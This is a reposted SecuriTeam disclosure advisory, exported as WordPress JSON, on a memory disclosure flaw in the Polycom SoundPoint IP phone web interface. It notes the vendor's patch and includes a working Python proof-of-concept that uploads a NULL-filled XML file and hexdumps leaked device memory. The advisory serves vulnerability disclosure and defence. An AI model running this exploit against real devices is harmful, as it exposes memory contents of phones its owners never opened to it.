{"id":8819,"date":"2017-08-20T14:19:42","date_gmt":"2017-08-20T22:19:42","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/08\/20\/news-2592\/"},"modified":"2017-08-20T14:19:42","modified_gmt":"2017-08-20T22:19:42","slug":"news-2592","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/08\/20\/news-2592\/","title":{"rendered":"SSD Advisory \u2013 Polycom Memory Disclosure"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Sun, 20 Aug 2017 12:03:20 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3268\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3268');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerability Summary<\/strong><br \/> The following advisory describe a Memory Disclosure vulnerability found in Polycom SoundPoint IP Telephone HTTPd server.<\/p>\n<p>Polycom is the leader in HD video conferencing, voice conferencing &#038; telepresence enabling open, standards-based video collaboration.<\/p>\n<p>Increase the productivity of your phone calls and conference calls by making sure everyone can hear each other clearly and concentrate on what is being discussed. With our enterprise-grade, HD voice solutions, every participant can hear and be heard. Your teams can focus on what matters\u2014creating stronger, deeper connections with customers, partners and each other.<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher, Francis Alexander, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program<\/p>\n<p><strong>Vendor response<\/strong><br \/> Polycom has released a patch: <a href=\"http:\/\/support.polycom.com\/content\/support\/North_America\/USA\/en\/documentation\/securitycenter.html\" target=\"_blank\">http:\/\/support.polycom.com\/content\/support\/North_America\/USA\/en\/documentation\/securitycenter.html<\/a> to address this vulnerability &#8220;We discovered that the vulnerability you reported is not only present in SoundStation IP phones but also in several other products that use UCS software like VVX phones and Trio phones. As a result we fixed 5 streams of code instead of just one.&#8221;<\/p>\n<p><span id=\"more-3268\"><\/span><\/p>\n<p><strong>Vulnerability Details<\/strong><br \/> Polycom products are vulnerable to memory info leak found in the way the web interface handle files. By uploading file with NULL characters via Preferences -> Additional Preferences -> Language -> Web Utility Language -> ADD, an attacker can read the raw memory of the product.<\/p>\n<p>The Polycom software, when it tries to display an XML file to a user via the &#8216;languages&#8217; web interface. The function prepares a memory as part of the response it sends. Because this memory is not initialized, it contains memory previously used. The function that copies the content of the file seeks the first NULL character as an indicator on how much to read from the buffer. Since a NULL character appears in the buffer being read, this copies NO data into the unallocated buffer, which is returned to the user with the raw memory of the device.<\/p>\n<p><strong>Proof of Concept<\/strong><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-599a0afe11807985264461\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> ###  # Polycom memory disclosure vulnerability  #  .\/polycom.py ip username password    import base64  import socket  import string  import sys    def hexdump(src, length=16, sep=&#8217;.&#8217;):  \tDISPLAY = string.digits + string.letters + string.punctuation  \tFILTER = &#8221;.join(((x if x in DISPLAY else &#8216;.&#8217;) for x in map(chr, range(256))))  \tlines = []  \tfor c in xrange(0, len(src), length):  \t\tchars = src[c:c+length]  \t\thex = &#8216; &#8216;.join([&#8220;%02x&#8221; % ord(x) for x in chars])  \t\tif len(hex) &gt; 24:  \t\t\thex = &#8220;%s %s&#8221; % (hex[:24], hex[24:])  \t\tprintable = &#8221;.join([&#8220;%s&#8221; % FILTER[ord(x)] for x in chars])  \t\tlines.append(&#8220;%08x:  %-*s  |%s|n&#8221; % (c, length*3, hex, printable))  \tprint &#8221;.join(lines)      ip = sys.argv[1]  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  print &#8220;connecting to %s&#8221; % ip    try:  \ts.connect((ip, 80))  except e:  \tprint e    username = sys.argv[2]  password = sys.argv[3]  authorization = base64.b64encode(&#8220;%s:%s&#8221; % (username, password));    print &#8220;Uploading NULL filen&#8221;    NULL = &#8220;x00&#8221; * 65000    payload = &#8220;&#8221;&#8221;&#8212;&#8212;WebKitFormBoundaryBuo67PfA56qM4LStr  Content-Disposition: form-data; name=&#8221;myfile&#8221;; filename=&#8221;poc.xml&#8221;r  Content-Type: text\/xmlr  r  %sr  &#8212;&#8212;WebKitFormBoundaryBuo67PfA56qM4LSt&#8211;r  &#8220;&#8221;&#8221; % NULL    upload_msg = &#8220;&#8221;&#8221;POST \/form-submit\/Utilities\/languages\/importFile HTTP\/1.1r  Host: %sr  Connection: closer  Content-Length: %dr  Content-Type: multipart\/form-data; boundary=&#8212;-WebKitFormBoundaryBuo67PfA56qM4LStr  Cookie: Authorization=Basic %sr  r  %sr  &#8220;&#8221;&#8221; % (ip, len(payload), authorization, payload)    s.send(upload_msg)    data = s.recv(1024)    print &#8220;Donen&#8221;    s.close()    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    print &#8220;Memory Leak Stagen&#8221;    leak_memory = &#8220;&#8221;&#8221;GET \/languages?fileName=poc.xml HTTP\/1.1  Host: %s  Connection: close  Cookie: Authorization=Basic %s     &#8220;&#8221;&#8221; % (ip , authorization)    s.connect((ip, 80))    print &#8220;Leaking memory:n&#8221;    data = &#8220;&#8221;  while True:  \ttry:  \t\ts.send(leak_memory)  \t\t  \t\tdata += s.recv(1024)  \texcept:  \t\te = sys.exc_info()[0]  \t\tprint &#8220;Error: %s&#8221; %e  \t\tbreak  \t  hexdump(data)    print &#8220;Donen&#8221;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0100 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3268\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Sun, 20 Aug 2017 12:03:20 +0000<\/strong><\/p>\n<p>Vulnerability Summary The following advisory describe a Memory Disclosure vulnerability found in Polycom SoundPoint IP Telephone HTTPd server. Polycom is the leader in HD video conferencing, voice conferencing &#038; telepresence enabling open, standards-based video collaboration. Increase the productivity of your phone calls and conference calls by making sure everyone can hear each other clearly and &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3268\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Polycom Memory Disclosure<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[12135,10757],"class_list":["post-8819","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-information-disclosure","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8819","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=8819"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8819\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=8819"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=8819"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=8819"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}